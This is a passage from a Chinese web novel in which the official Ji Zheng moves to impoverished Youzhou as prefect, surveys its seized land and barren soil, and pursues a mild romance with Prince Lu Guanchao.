史生海足足反应了小半炷香的时间,才撩起衣袍跪下,“谢大人提携之恩,定不负大人嘱托!” 他为官半辈子了,这陇县暗无天日,他一直是一个小小 典史,妻子都险些被气回娘家,而今遇到季铮,一路从典史升到县丞,现在又提拔至县令。 这是他不敢想象的,要不是季铮,他难免落得妻离子散,在典史浑浑度日的下场。 再抬头时,史生海热泪盈眶,红着眼真诚道,“大人来日必定高迁!” 季铮又详细给人讲了讲接下来的方向,以及会遇到的各种情况,看史生海意义几下,才把人送走。 出门,季铮看着门外的陆观潮,叹道,“你真是无声办大事。” “怎么。”陆观潮歪头,“不喜欢?” 季铮笑道,“喜欢死了。” 这时,宋有音找上门,季铮被封为刺史的消息传来了,她看到季铮先是一喜,笑着恭喜几句,又看到陆观潮,不知该怎么称呼了。 当日季铮家的弟弟,摇身一变变成珏王,怎么想怎么别扭。 最后,陆观潮在季铮耳边道了句“我在房里等你”,识趣的离开。 宋有音看人走了,才又恢复正常,道,“大人什么时候去幽州?” “明日吧。”季铮道,“幽州耽误不得。” 宋有音点头表示了解,这才说出此行目的,“大人,你去幽州要带着季秧吗?” 这提醒季铮了。 除了他身边兰香田观雪陶疆几人,他还打算带上陈昇,季秧的话,他还得问问人的意思,一来路途遥远怕季秧熬不住,二来他怕季秧不在他身边被欺负。 季铮道,“我是想带上的,可不知季秧的想法。” “这就好。”宋有音道,“前些日子不是来了队商队吗,我要跟着跑一趟,她来找我,说想跟着我跑商,可把我吓坏了。” 宋有音要跟着去跑商季铮知道,什么时候季秧也有这这心思了。 正说着,季秧冒了出来,她弱弱道,“阿兄,我真的想去。” “祖宗啊。”宋有音没招了,求助季铮,“大人,这跑商可不是轻松的活,你劝劝季秧。” 季铮也是这么想的,但他一看到季秧的坚定的目光,还是松动了,他问,“你当真愿意。” 季秧点头,“愿意。” “不反悔?” 季秧继续点头,“不反悔。” “好吧。”季铮叹了口气,对宋有音道,“辛苦你照看季秧了,你算算开销多少,我报销。” 这趟季铮略有耳闻,并不危险,就是要累些,季秧想试试,又不能拘束她,便去试试吧。 小姑娘嘛,总要多走走才好。 季秧欢呼雀跃,宋有音却傻了,“啊?” “不对。”宋有音道,“这不是钱的事……” 季秧聪慧机灵,帮了她不少,她私心也是想带季秧去的,不过是怕季铮不许,现在季铮主动答应了,她哪有拒绝的道理,半推半就的应下了。 为了弥补季铮,她道,“沈弎一定要跟着我去,他那个块头我看不住,不如大人把他带走?” 还有上赶着送帮手的,季铮笑了,“人家同意吗?” “同意!”宋有音看季铮这句话是能行,忙道,“我去和他说一定同意,他跟在大人身边比在我身边有出息。” 季秧也道,“对啊,沈大哥力气大,能帮上阿兄的忙。” 季铮开玩笑的同意了,内心没想过沈弎回来,又和宋有音聊了聊几人不在商会该怎么办。 宋有音道,李芸留下不去,可以照看一二,她这几日也选了几个商会会长副会长人选,只等考核后正式确定,往后就不用多想了。 至此,什么事都安排好了,季铮可算是能安心了。 送走宋有音,季铮心情颇好的回房,打算收拾东西,开门就见陆观潮在对着一花瓶发呆。 83.第 83 章 季铮进屋看到这场景,问道,“陆观潮,你干什么呢?” 陆观潮听到声音,幽幽回头,给了季铮一个“你猜”的眼神。 “好吧,我猜猜。”季铮踱步到陆观潮身边,问道,“是我聊得太久了?” 陆观潮面无表情看着他,哦,不是这个。 季铮又道,“是我要带着沈弎走?” 陆观潮嘴角一抽,“兰香田观雪还不够,你到底要带多少人走?” “陈昇?”季铮话没出口就顿住了,这样好像更让陆观潮生意。 他是在猜不出了,求饶似的扯了扯陆观潮的衣袖,“认输了,我猜不到。” 陆观潮深呼吸一口,侧身露出花瓶,里面插着新鲜的梨花枝,花骨朵还没开,叶尖还沾着露水。 季铮没懂陆观潮的意思,问,“花不喜欢?” “这是兰香送过来的。”陆观潮冷声道,“他居然能随时进你房间?” 季铮心里咯噔一下,小心翼翼的辩解,“平日他都会敲门的,今日许是以为房里没人,才——” 陆观潮打断他,“所以,他日日给你送花?” “也不是日日。”季铮欲哭无泪,“偶尔想起来会送一次罢了,他冒犯你了?” 何止冒犯,简直是挑衅! 陆观潮回忆方才自己在房里美滋滋的等季铮,突然一人一声招呼不大,推门而入。 他见到是兰香,不想和他见识,便没多责备。 谁能想到这不要命的东西,真以为他好脾气,不仅慢悠悠的将梨花摆好,还暗示什么一样夸他的木簪好看,说也想要季铮给他弄一枝。 陆观潮恨得只想手撕兰香,顾忌季铮才把他放走。 这时和季铮说起来自己委屈滔滔不绝,季铮越听脸色越沉,对着陆观潮快要气哭的脸,他道,“这次确实过分了。” “过分?”陆观潮愤怒,“是十分过分!” 他质问季铮,“你送我的花,是不是也是他送的,转手丢给我?” “怎么可能。”季铮端正态度,“我送你的,哪一样不是精心挑选,你的这枝是我剿匪途中亲手给你摘的。” 兰香年纪小,从前多在季铮面前撒娇,又是个认真可靠的少年,因此季铮多纵容了些,如今再看,这倒是害了兰香。 倘若兰香还这么任性下去,定会惹大祸。 看陆观潮还是不悦,季铮道,“我去说他,你要是实在不喜欢,我便将他送回去。” 陆观潮迟疑片刻,还是松口了,“算了,你知道我无意与他人争抢,他身手不错,又对你忠心,也是好事,是我总多想了。” 季铮当然知道,陆观潮能在冷宫一呆就是十几年,在陆泽手下容忍多年,从出生就备受骂名,耐力并非寻常人可比。 因为陆观潮在乎他,才会因为一些小事多计较。 换而言之,季铮是唯一一个,陆观潮能在其面前闹脾气的人。 季铮知道这些,便不可能不顺着陆观潮,更何况都是些不足挂齿的小毛病,放在他眼里,更显得陆观潮可爱。 “在我这,可以多想。”季铮柔声道,“你乱想多少都没关系,你想怎么闹我都哄你。” 陆观潮心头突突直跳,他莫名其妙说了一句,“我要你一天不许和兰香讲话。” 季铮被他的幼稚程度逗笑了,他点头,“好,我听你的。” 陆观潮见他真答应了,得寸进尺道,“你在他面前叫我表字。” “好啊。”季铮微微一笑,“陆子澜。” 陆观潮的表字本该是先帝取,可陆观潮及冠时先帝已经死翘翘埋土里了,陆泽当然不会为他操心,他的表字是镇南候取的。 虽然都认为互称表字彰显关系好,但在陆观潮眼里,只有叫本名才显得亲近,这不妨碍他在别人眼前显摆。 季秧说到做到,当真一天都没理兰香,兰香一来寻季铮,他就四处找陆观潮的身影,和其有的没的闲聊,一口一个子澜叫得像是叫过无数遍一样。 赵年和张佴看着,宛如见了鬼。 张佴戳戳赵年,问,“殿下和这位季刺史,以前也是这样吗?” “有,有吗?”赵年怀疑自己的记忆出错了,他记得一开始殿下说很烦季铮的啊。 现在这个怡然自得的殿下到底遭受了什么? 一直到隔日,季铮才和兰香说了第一句话,“行李收拾好了?” “好了。”兰香可怜兮兮的看向季铮,道,“我还以为大人不要带我走了。” “不会,殿下原谅你了。”季铮轻咳一声,道,“你知道自己哪里错了,对吗?” 兰香垂头,微不可察的点点头。 “你知道了我就不再罚你。”季铮道,“你义兄让我锻炼你,不是让你在我这里随意妄为的,以后莫要再如此,可以答应我吗?” “属下不会了。”兰香扣着手指。 季铮伸手分开他相互残杀的两只手,笑了笑道,“别再折磨手了,去给你义兄写份信,告知他你跟我去幽州了。” 兰香“哦”了一声,他不记仇,被季铮这哄了一句,朝季铮笑了一下,磨磨蹭蹭的走了。 他走后,趁周边无人,陆观潮趴到季铮肩膀上,“他好可怜。” “没你可怜。”季铮转头看陆观潮,问,“满意了吗?” 陆观潮笑着点头,“还行吧。” 陈昇家中只有他一个,没什么要安置了,早早收拾了行李过来,那兴奋劲季铮还以为他一晚上没睡。 “陆哥。”陈昇看到陆观潮惊喜道,“你也在啊。” 陆观潮不咸不淡的应了一声。 赵年道,“陈公子,请称呼殿下。” “殿下?!” 陈昇更吃惊了,“原来陆哥就是珏王殿下,哦哦殿下。” 他眼睛还是压抑不住好奇,看样子很想和陆观潮畅聊一番,但看陆观潮不愿多说便悻悻收起想法,转而惊喜别的。 陈昇道,“我还是第一次去那么远,季铮哥,没地方住怎么办啊。” 季铮笑着和他说了几句,最后嫌他烦,转头一看,正巧看到还真来了的沈弎,干脆把他往沈弎面前一带,让两人说话。 不多时,几人收拾好行李,准备启程。 季秧与史生海几人相送,季秧含着泪,季铮问他要不要一起走,不去跟着跑商了,季秧才出来的泪水一下子憋了回去,故作不在乎的和季铮告别。 季铮一一道别,回头却看到另一幅场景,百姓不知是有人组织还是自发的,竟有不少人也来送。 有夸张的人要给他塞吃食银两,季铮不收,就塞给其他人,他劝诫 无果,无可奈何,便叫人收一些盘缠,银两万万不能收。 看着周遭百姓,季铮心生感触,他道,“大家放心,新县令不会为难你们,我保证与现在的日子无差别。” 这话一出,百姓的呼声更大了,更有甚者,跟在季铮马后潸然泪下。 陆观潮只见过空无一人,第一回见这阵仗,冷着脸不知所措。 直到出城一里地,才渐渐没了百姓。 赵年叹道,“季大人果真是深受爱戴。” “那当然!”田观雪听到有人夸自家大人,马上自豪补上,“我家大人自是民心所向。” 张佴这会追上来,才一天时间,他还没在陇县逛尽兴,向田观雪问陇县其他有趣地方。 陈昇不会骑马,他就和沈弎还算认识,便和人同乘一辆马车,欣喜若狂的闲聊,这才短短一段,生生把一个好歹能三个字三个字往外蹦的人,弄得是两个字都憋不出来了。 陆观潮骑马到季铮身边,“累了告诉我,我们随时能歇。” “没那么娇弱。”季铮笑道,“你离开幽州这么久了,得快些回去。” 这时,脑中叮铃一声,系统弹出提示,【恭喜宿主达成名震一方成就,整体名声值生长至40%,请宿主再接再厉~】 【奖励:水泥,已经成功发放,注意查收。】 【恭喜宿主解锁地点:幽州,当前身份:幽州刺史,百姓幸福度:2;设施建设:3;经济发展水平:1;宿主名声值:0。】 【发布下一阶段任务:站稳脚跟,任意两项数值达到及格,奖励:四大发明。】 和陇县一模一样的面板,只是这数值也太低了点吧! 季铮知道幽州穷,但不知道能有这么穷。 顿时,要去幽州的喜悦消散,转而变成浓浓的发愁。 四大发明很诱人,但平地起高楼对他来说更有压力啊! 陆观潮看他脸色不好,问,“现在就累了?” 季铮摇头,长叹一口气,“任重而道远啊。” 没人看到的地方,陆观潮攥紧季铮的手,低声道,“没关系,就算你毫无作为,我也能养得起你。” 另一边,镇南候还在回江南的路上。 船上,侍从递上信件,“侯爷,这是殿下来的,说事情已经办妥了,他与季刺史已经在去幽州的路上了。” “刺史?”叶萧禾接过信看了一会才反应过来,这刺史是季铮,他道,“这小子动作倒快,就这么抢到手了。” 他得知圣上也对季铮有意后,总担心季铮被圣上扣下,没想到陆观潮这般利索。 当真是好事,幽州得此才干,也能为陆观潮解忧了,不然陆观潮一边顾着战场,一边还得帮百姓耕种,再这么下去迟早累瘫。 不是说季铮鬼灵精怪的法子多吗,就让他们想办法去吧。 侍从又递上另一份,“这是府里的信,夫人和叶副将的。” 不过是千篇一律问什么时候到,祝平安的话,叶萧禾每次出门都会收这样两封。 如往常一样,叶萧禾看过,脸上挂上笑,将叶闻的放到统一的匣子里,唯独邹夫人那一份被他认真收好。 他吩咐道,“叫他们开船再快些,咱们赶在明日太阳落山前道。” 侍从应声“是”,转身去传话了。 84.第 84 章 幽州刺史贪污受贿被查了,圣上一直还没安排新的,季铮刚好填上这个窟窿。 刺史府比县令府大了一圈,却破旧无比。 毕竟许久没住人了,不像县令府都是现成的,他能拎包入住。 季铮站在刺史府牌匾下,被开门的灰呛得直咳嗽。 看清府内场景,准确来说,季铮看不清府内,打眼望去全是青草,绿油油的一片。 季铮吐槽道,“这里养兔子倒是方便。” 陆观潮下马,走到他身边,“怎样,要不要去我那先住一段时间,修缮好后再搬来。” 他有些自责,应该提前让人收拾好的。 “不必了。”季铮摆摆手,“这么多人呢,总不能都住过去。” 陆观潮很想说你自己来不就好了,但这话太不厚道,他憋了回去。 陈昇和沈弎下马车,看到这场面也是一惊,陈昇睁着眼,“这地方,咋住人啊?” “是啊。”赵年对季铮道,“季大人,你就去营帐里住几天,这宅子有两三年没人了,驻军地与这里不愿,白日跑马半个时辰就能到,也不耽搁。” 张佴也附和几句,他这几日怀着对苍山居士的敬仰,总绕开陆观潮,偷溜到季铮身边和人闲聊。 路上这段时间,张佴对季铮格外喜欢。 这位刺史不仅于文学一道颇有研究,策论杂学都略知一二,当之无愧的上知天文下知地理,就没他不懂的东西,还平易近人,甚至乐呵呵听他算六爻。 殿下都没有这样的耐心! 张佴和季铮聊得极其投机,要不是殿下待他好,他都想再次跳槽跑路,这会要和季铮说再见,当真舍不得。 他道,“季大人,要是不嫌弃,来我帐中休息。” 边说着,张佴边投去一个“来啊,我们彻夜长聊”的眼神。 陆观潮闻言,似乎是真的怕季铮住到张佴帐里,强硬的态度松动了,他道,“军中乱,你怕也住得不安心,我留下帮你收拾吧。” “不用。”季铮道,“你才回幽州,军饷还没卸下,不先去驻军地?” 这么说来确实如此,陆观潮便不强求道,“天色还早,你们先休息,等我去和他们见见面,就来找你。” 季铮点头,又听陆观潮嘱咐道,“务必等我回来帮你收拾。” 陆观潮一行人走后,季铮面对这“断壁残桓”发愁。 他怕带太多人,影响陇县情况,何况幽州路远,未必有人愿意跟着来,此次来幽州,出来田观雪兰香他们,一个多余的没带。 季铮站在刺史府,左右看看,与系统统计的数值一般无二,幽州还真是穷的要命。 更别提这里又临近战区,他们一路走来,街上鲜少有店开门,刺史府外连只鸟都看不到,荒的只剩杂草了。 而他们就这么点人,怎么能在短时间收拾好,今日收拾不出来,岂不是要院子里排排躺,面朝黄土背朝天睡一晚? 陶疆道,“大人,我老家在幽州,认识几个老兵,不如我去找找看他们愿不愿意来帮忙。” 正瞌睡有人递枕头,季铮一喜,忙道,“再好不过了,若是可以,记得给他们说我付报酬。” “不过是些清扫打理的小事。”陶疆笑道,“后面置办修缮才要花钱呢,大人省省吧。” 季铮仍然掏出银两交给陶疆道,“无论如何,让人来帮忙总不能白干,圣上赏了不少银子,我自己手中也有钱,不碍事。” “大人有所不知。”陶疆长叹一声,“幽州可比陇县难多了。” 季铮蹙眉,“具体来说?” 陶疆迟疑须臾,想到季铮总会知道,便娓娓讲来, “幽州地勋繁多,而幽州地产量不丰,百姓靠耕种赚不到钱,慢慢的只能将土地卖给地勋,沦为佃农,这些勋贵几乎抢占幽州八九成的土地,而陇县官员多是串通一气从中抽些钱罢了。” “地勋舍不得钱养佃农,每年有大批佃农无地可种,或饿死街边,或卖儿卖妻,走上歪路。” “所以。”陶疆面色无异,像是在阐述一件很普通的事,“这些老兵,大人给口饭吃有大把的人抢着干。” 季铮倒吸一口凉气,“兵人的土地都抢?” “是买。”陶疆纠正,又道,“据说,连珏王殿下的地都被他们占了几亩。” 尽管陆观潮变着花样为幽州添金,也掩盖不了幽州的现况。 陶疆道,“这也是殿下来后才能得到这下场,有殿下在,那些地勋充其量是占土地,不赶尽杀绝,殿下来之前……罢了,说了也徒增大人忧心。” 他不说,季铮回忆起陆观潮曾和他说过的只言片语,也能猜得出来。 莫水无情,天灾人祸,土地颗粒无收易子而食,尸体得不到处理疫病横行,民不聊生。 其他的,季铮不敢再往下想了。 此刻幽州的苦难不再存于系统那些数值表面,他真真切切的感受到了。 陶疆掂了掂银子,从中取出一部分,“用不上这么多,人一穷什么事都能干的出来,多正直善良的人都会逼得杀人抢劫,大人在这还要少些善心,不过既然大人这么说,那我便不劝了。” 送走陶疆,季铮脸色并不好看。 田观雪拎着鸟笼过来,另一边抱着元元。 “大人。”田观雪道,“你莫要太有压力了,总能有办法。” 季铮不想他们因自己担心,点头接住元元,元元初次出远门,新奇的睁着大眼睛到处看,挣扎着要下去。 它如今已经长得不小,季铮忽然想起赵年说,陆观潮养了只叫芳芳的猫。 他看着元元小心迈入府门样子,心想可不能让这两只猫凑到一块,这里不能做手术,万一一年抱三窝怎么办。 几人没干等着,先开了一条路,将行李搬进府。 不消片刻,陶疆带着几人回来。 几人中大多是头发花白的老人,按照幽州的情况来看,许是靠着军中补贴才得以活到现在。 陶疆没直接说大人给钱,只说了帮忙包饭,做事留个心眼,他毕竟在幽州待过,知道这里情况。 季铮是心善,但也没善到随手撒钱的地步,自然听陶疆的安排。 几个老汉都带着农具,瞧着都利索,他们不会说好听话,连季铮是什么官职都不知道,只会一口一个老爷的叫着。 季铮回绝道,“不必多礼,各位忙吧。” 老汉点头哈腰的开始忙活,陈昇听了方才陶疆那些话,心中不忍,不肯干看着,借了工 具一起干,几人诚惶诚恐,属实没想到居然还有大人会和他们一起干粗活,连连推举无果。 有陈昇为先,沈弎一言不发的跟上,兰香为了挽回自己在季铮眼前的形象,也弯着腰猛干。 几人中就剩田观雪了,他提着笼子,暗自哀嚎一声慢悠悠的跟在后面打下手。 季铮又问陶疆,“这可有卖粮食的地方。” “有。”陶疆答,“不过一些店都在巷子里,大人不一定找得到,我去就好,要卖多少?” 行路的盘缠吃光了,看刺史府这样大概是没有被子枕头的,除此之外还需粮油米面。 季铮沉思片刻,算了算数目,和陶疆说好后,又给了他几两银子,想着陶疆一个人拿不回来,见田观雪很不情愿,便让他一起去了。 随后,季铮挽起袖子,活动筋骨,加入其中。 陆观潮从驻军帐回来时,看到的就是这场景。 他身后跟着赵年与顾宜两个武将,以及几个不必当值的将士,外带一个凑热闹的张佴。 顾宜看到几人都在忙碌,后退一步看了看牌匾,确认是刺史府又折返回来,疑惑问陆观潮道, “殿下,哪位是刺史大人?” 张佴偷偷指给他看,“那位。” 待顾宜看到人后,狠狠一愣,不可思议道,“刺史大人,还真是不拘小节啊。” 众人里,刺史大人一身绯红官袍,低着头看不清面容,但从背影能看并不厚实,还真是没架子。 陆观潮上前,叫住季铮,“我不是说等等我吗?” 季铮抬头,他脸上生出薄汗,站起身道,“陶疆请了几个老兵来,总不能看着人忙,搭把手而已,既然你来了,我就不干了。” 他说着,朝陆观潮笑了一下,将手上镰刀递出去。 “我带人来了。”镰刀在陆观潮手里停留,转而丢给顾宜,“你随我在周遭逛一圈,我给你讲讲幽州分布。” 顾宜提着镰刀,行李道,“见过刺史大人。” 陆观潮简单介绍道,“顾宜,顾校尉,我带来给你帮忙。” “原是顾校尉,”季铮笑着感谢,“要辛苦你了。” 顾宜忙摆手,“大人不必言谢,是殿下的吩咐。” 季铮叫兰香帮他给陶疆传几句话,才放心跟着陆观潮走。 出府门,就见门外停着马,季铮问,“骑马?” “是。”陆观潮颔首,“幽州地方不小,走着费功夫。” 两人前脚离开,陶疆和田观雪后脚到。 几人进度本就不慢,又多了几个正当壮年的士兵,速度愈发快。 没多长时间,就清理了一条通往各园子的小路。 陶疆听了季铮传的话,给众人分了吃食白水,说了些代表季铮的话。 趁人在吃东西,陶疆细细盘问像老汉这样,无家可归无饭可吃的人有多少。 顾宜坐下,闻声看到陶疆,又是一懵,“陶疆,你不是跟着侯爷去大都了吗,我刚还想问你怎么没回来,原来在这啊。” 陶疆平静点头,“我奉殿下命,现在已经是刺史大人的人了,自然没回去。” 顾宜听到被这消息,久久没回神,殿下到底是多喜欢这刺史,连陶疆都给出去了。 85.第 85 章 长街上空无一人,家家闭门不出,怪不得陆观潮让他骑马,季铮还怕会不会冲撞百姓,这般看来,别说百姓了,连只狗都撞不到。 季铮问道,“这光天白日的,为何连个商铺都瞧不见?” “没有。”陆观潮犹豫片刻,还是实话实说了,“若是再往别的地区走一走,兴许还能碰上,这一片本来就没有铺子。” 季铮不解。 又听陆观潮解释道,“临近战区,儿郎们都参兵去了,家中只剩妻子父母,没劳动力,自然没人做生意。” 季铮点头记下,“这倒是棘手,我回头想想。” 顿了顿,陆观潮问,“幽州的情况,陶疆都和你说了?” “说了些,但不全。”季铮想起什么,严肃问,“幽州的地勋竟如此严重。” 他说完,陆观潮足足沉默三秒,才长叹一口气。 “对不住。”陆观潮垂下眼睫,“是我欺骗你在先,幽州的情况确实不好,若是你觉得不好管理,大可不理,幽州有我,总也不会太难看。” 两人一边说话,一边骑马,速度放得很慢。 “就凭你?”季铮在马上,没好气道,“你每日要考虑这么多东西,不累吗?” 陆观潮知道季铮在关心他,浅浅一笑,“无妨,你在我身边就好。” 季铮乐了,“我又不是灵丹妙药,看一看烦恼就能烟消云散。” 他远远看到面前一片田地,问,“那里就是耕种区了?” 陆观潮抬眼看了一眼,点了点头。 季铮一夹马腹,过去仔细看。 奇怪,这都五月份了,陇县地里的粮食就要收割了,怎么幽州这的苗子还是这么稀疏弱小。 他下马,亲自蹲在地里扣了一块干硬的土。 陆观潮追上来,走到他身边,问,“怎么样,太干了?” “不止是干。”季铮面色有异,“这土没有一点营养,怎么可能种的出来粮食?” 陆观潮没听懂,问,“每日都有在施肥,怎么会没营养。” 季铮搓了搓手上几乎是黄白的土,手上的土就像是沙子一般,即可散开。 陆观潮看后,问道,“土质是松散,我不懂这些,朝中也不肯派人来看,只好多浇水。” 所以,陆观潮才费尽心思的修理莫水。 “不是水的事。”季铮道,“土留不住水,浇再多也没办法。” 陆观潮听季铮一针见血的指出问题所在,心中激起一些希望,“可有办法?” 季铮斩钉截铁答,“有。” 顶着陆观潮欣喜的表情,他又道,“不过很慢,这么多土地,要想养好,至少要一年。” “只要能养好,种的出粮食。”陆观潮笑道,“等三年五年都值了。” 季铮原也心里没底,这看过土地后脑中有了思路。 他起身,问,“听陶疆说,这些土地都在地勋手里?” “是。”陆观潮道,“土地产量不丰,便只有握着更多的土地才能弥补。” 他不知季铮为什么问这个,楞了一下,反应过来问,“你打算把土地收回来?” 季铮拍了拍手上的土,嘴角勾起一个笑,“你是越来越了解我啊,不错,我正有这个想法。” “不可。”陆观潮蹙眉,“这些地勋握着土地几辈子了,我也曾想要回来,反被算计赔进去了些,你初来乍到,不要鲁莽行事。” 季铮道,“我知道,他们必定不会轻易松口,可得下一番功夫了。” 陆观潮看季铮神色自然,毫无犯愁的意思,不知他是不在乎,还在想到办法了。 “不急,慢慢来。”季铮轩然一笑,“总有一天,我会从他们手里把土地一寸一厘的拿回来。” 陆观潮这下知道,季铮是有法子了,便也不说让他小心种种打压的话,只道,“你心中有数就好,若要我帮忙,随时找我。” “确有一事要问你。”季铮问,“幽州大小地勋都有几人,什么背景?” 陆观潮沉吟须臾,“人太杂乱了,我今日回去让赵年给你列一个单子。” 季铮应下,又看了看脚下土地,才上马和陆观潮离开这地方。 两人又逛了逛周遭环境,季铮了解过幽州官员,以及人员情况才回府。 府内杂草已经被清除干净,陶疆适当给了些银两,送走感恩戴德的老将,又与几人将买来的东西一一安置。 季铮进府看了一圈很是满意,如今虽还是破破烂烂,随时要倒塌的状态,但物品摆放井然有条,最起码是个能住人的样子了。 “殿下。”赵年迎了几步,“你终于回来了,方才我问过这几位老人家,山上兽群又多了,这几个月山下百姓都不敢上山了。” 陆观潮听罢,道,“那就明日去宰一些,你回去叫上明日不用当值的将士,随我一起。” 季铮奇怪道,“你还管这个?” “嗯。”陆观潮说起这些,面色有些不自然,他道,“这也都在我管理范围。” 张佴笑眯眯的不上,“我家殿下一向亲力亲为,军中无事时,大到疏通莫水,小到下地种地,都不在话下。” 季铮道,“殿下心系百姓,实在难得。” “我听陶疆说。”陆观潮轻咳一声,道,“你射艺惊人,明日要一起去玩玩吗?” 在幽州季铮说教训过温萍后,陆观潮十分好奇,后面私下去问了陶疆才得知真想。 顿时对季铮意气风发射箭的样子浮想联翩,连着几天晚上做梦都是季铮蒙着眼勾唇射箭的模样,白天想的心痒痒。 这下终于有机会能见到了,必然不会放过。 “你邀请我,自然是要去的。”季铮笑着答应,“这种事哪能用玩。” 他说罢,忽的品出话中不对劲的地方,“什么叫陶疆告诉你的?” 陆观潮一哽,张着嘴憋不出一句话。 “殿下啊。”陶疆捂住额头,他好像不该和陆观潮透露的。 顾宜左右看看,这是什么意思,殿下不是把陶疆给季铮了,是把陶疆放到人身边监视季铮啊? 末了,陆观潮被季铮的眼神看得不能装傻了,道,“我担心你遇到危险,才让陶疆跟着你的。” 季铮气笑了,他说一个将士,一会读书写字,二会算账武功,还擅长察言观色,不过是有些坡脚,怎么可能得罪别人,在哪不能混一口吃,还心疼陶疆一定是有不可告人的苦衷,原来这苦衷是陆观潮。 “那就说定了。”陆观潮骑上马,准备开溜,“明天我来找你。” 季铮还没说什么,陆观潮就借口回帐中看看,带着人走了。 当夜,季铮在新收拾出来的书房里,整理被虫子啃食的东缺一块西缺一快的账目名册等,越看越乱。 这时候季铮唯一的愿望是吧季秧带来。 这些旧时记录乱得一团糟,根本不能看,季铮干脆放下不看了,转头,元元胆大的正巴拉着笼子里的除夕。 季铮上前把它拎走,怕除夕一个不开心,啄元元一口。 他才把元元放到榻上,门外传来敲门声。 陶疆站在门外,有些踌躇,他讪笑一声,“大人。” “进来吧。”季铮让开,知道他在想什么,道,“放心吧,你帮了我这么多,我不怪你。” 既然是陆 观潮的一片好心,他哪有辜负的道理。 陶疆这才放下心,他进门道,“大人白日让我问的,我问清楚了。” 季铮问,“如何。” “得不出具体的数。”陶疆摇头惋惜道,“这样的人太多了,多到都数不清,保守估计十中有六七。” 府内人手不足,季铮想多请几人来帮忙,可请了这人,那人便会生出怨恨,他不能全用,剩下的人始终是个问题。 可若放着不管,流民聚到一起,迟早会出事。 他凝眉,看来面谈地勋的事要提上日程了。 第二日,陆观潮一早就来刺史府接季铮。 他到时,季铮还没醒,田观雪打着哈欠开府门,一个哈欠打完就见门口的陆观潮,吓了一跳。 田观雪浑身一抖,“殿,殿,殿,殿下,您怎么这么早就来了。” 他探头看了看,只有陆观潮一人。 “你家大人呢?”陆观潮径直入府,“我闲着无事,便提前来了。” 田观雪给陆观潮指了季铮寝室,道,“大人还没醒,殿下用过早膳了吗?” 目光下移,看到陆观潮抱着的一只不知是狗是猫的毛茸茸的动物,暗道了一句有够肥的。 “没有,我和你家大人一起。” 陆观潮撂下这一句话,毫不客气的入府去找季铮。 兰香和陆观潮擦肩而过,没等兰香问安,陆观潮就没影了。 “殿下这是什么事?”兰香看向田观雪。 田观雪摇了摇头,“我也不知道。” 陆观潮进屋,抬眼就看到季铮睡得正香,他没叫醒季铮,把芳芳放下,坐季铮床边。 床边放着一本册子,陆观潮看出来是季铮记东西的册子,也不知这人昨晚忙到多晚才睡。 陆观潮翻开册子看了看,注意力始终在季铮身上。 他昨夜回去后怎么也睡不着,这段时间和季铮同吃同住的久了,乍一分开,很不习惯。 芳芳一落地弱弱的叫了两声,没把季铮吵醒,倒把墙角睡觉的元元吵醒了。 元元警惕的靠近芳芳嗅了嗅。 季铮眉头一紧,一睁眼就看到熟悉的脸,还以为自己在做梦。 “陆观潮?”季铮还没清醒,一脸呆的问,“你怎么总跑到我梦里烦我。” 陆观潮笑了,“你总梦到我?” 季铮上手捏住陆观潮的脸,“我家小媳妇今天怎么不哭闹了,以前不都是要缠着我亲亲抱抱发脾气吗?” “你就这样梦我?”陆观潮气了,他撑在季铮身上,道,“我在你心里就是这幅样子吗?” 陆观潮还在气,就见季铮扑哧一笑,瞬间懂了。 季铮这是在逗他玩呢! “你真好玩。”季铮笑的泪花都出来了,“怎么说什么信什么?” 陆观潮掐住季铮的下巴,“你敢耍我。” 他嗓音软绵绵的,没一点怒气,更像在不满撒娇。 季铮支起身子,笑他,“谁让你大早上的冒出来吓唬我。” 他看向墙边,方才还在相互试探的两只猫,现在躺倒一块去了,正互相舔毛。 陆观潮道,“军中总有人给芳芳喂吃的,我怕把他胖死,还是给你养吧。” 季铮歪头,“不好吧,万一它们二生五,五生十五,子子孙孙无穷尽也了怎么办?” “会吗?” 陆观潮思索许久,还是无法劝说自己接受这个观点,他问,“两只公猫也能生崽子?” “……” 季铮惊掉下巴,“芳芳是公的?” 陆观潮你神了吧,给公猫取名芳芳?! 86.第 86 章 陆观潮眨眨眼,一脸理所应当,“怎么了,这个名字不好听吗?” “你管公猫叫芳芳?” 季铮嘴角抽搐,“我知道你为什么给元元取媛字了。” 陆观潮半晚上没睡,这会赖到季铮床上,百无聊赖的看两只猫玩闹,“季铮,给我抱会。” 季铮依言将他揽入怀里,抱着拍了拍陆观潮后背,问,“怎么了?” “没睡好。”陆观潮直言道,“想你。” 季铮笑了笑,“白天不是才见过。” “不一样。”陆观潮将头埋入季铮身上,“到底什么时候才能和你成亲了,成亲了应该就能日日在一起了吧。” 他喜欢季铮。 一开始季铮不喜欢他时,陆观潮想,如果季铮能对他有点不一样就好了。 季铮真的对他特别,他想,如果季铮可以也喜欢他一点就满足了。 后来季铮与他在一起,陆观潮开始想,如果季铮能和他爱季铮一样爱他,他就死而无憾了。 现在知道了季铮一样喜欢他,陆观潮又不知足了。 就像是快要渴死时,想要一滴水,得到一滴水,想要一杯水,有了一杯水,便贪心不足,要茶水酒水。 人的欲望无穷无尽,陆观潮俗人一个,也逃不掉。 说直白点,他想要季铮。 季铮看他鲜红的耳尖,就知道这人想要的不是名分这么简单,他心念一动,捏着陆观潮的耳朵揉了揉。 “陆观潮。”季铮的笑声钻入陆观潮耳里,“这大白天的就胡思乱想,晚上不得成什么样啊。” 礼教说,未婚不可有肌肤之亲。 陆观潮忍得受不了了,才敢亲一亲季铮,不敢越矩一点,生怕惹季铮嫌弃,却忘了季铮是个离经叛道的人。 听季铮话里的意思,是猜中他的心思了。 陆观潮又羞又恼,暗自抱怨季铮不知羞耻,头埋的更深了。 季铮见他不说话,也不抬头,笑道,“好了,天色不早了,不是说要去围猎吗?” “哦。”陆观潮闷声抬头,他盯着季铮笑意盈盈的双眼,心底一阵干渴,无端觉出空虚感。 下一秒,季铮趴到陆观潮耳边,低声道,“那晚上我便说睡不惯府里的床,去找你挤一挤,好不好?” 陆观潮眼一亮,不可思议的看向季铮,喉结滚了滚,大脑一片空白。 “发什么呆。”季铮拍了他一下,“我要起床了,你还在这?” 陆观潮慌忙起身,踉跄着出门去。 季铮目送陆观潮出去,捂着红透了的脸,一颗心七上八下的。 他说的轻巧,到底还是毫无经验,不过是在硬装罢了,可这种事,陆观潮厚着脸皮都提了,他怎么能拒绝。 两只猫不知窗外事,元元已经打着呼噜睡第二觉了。 门外,陆观潮恍惚的靠着门边蹲下,连眨眼都忘了。 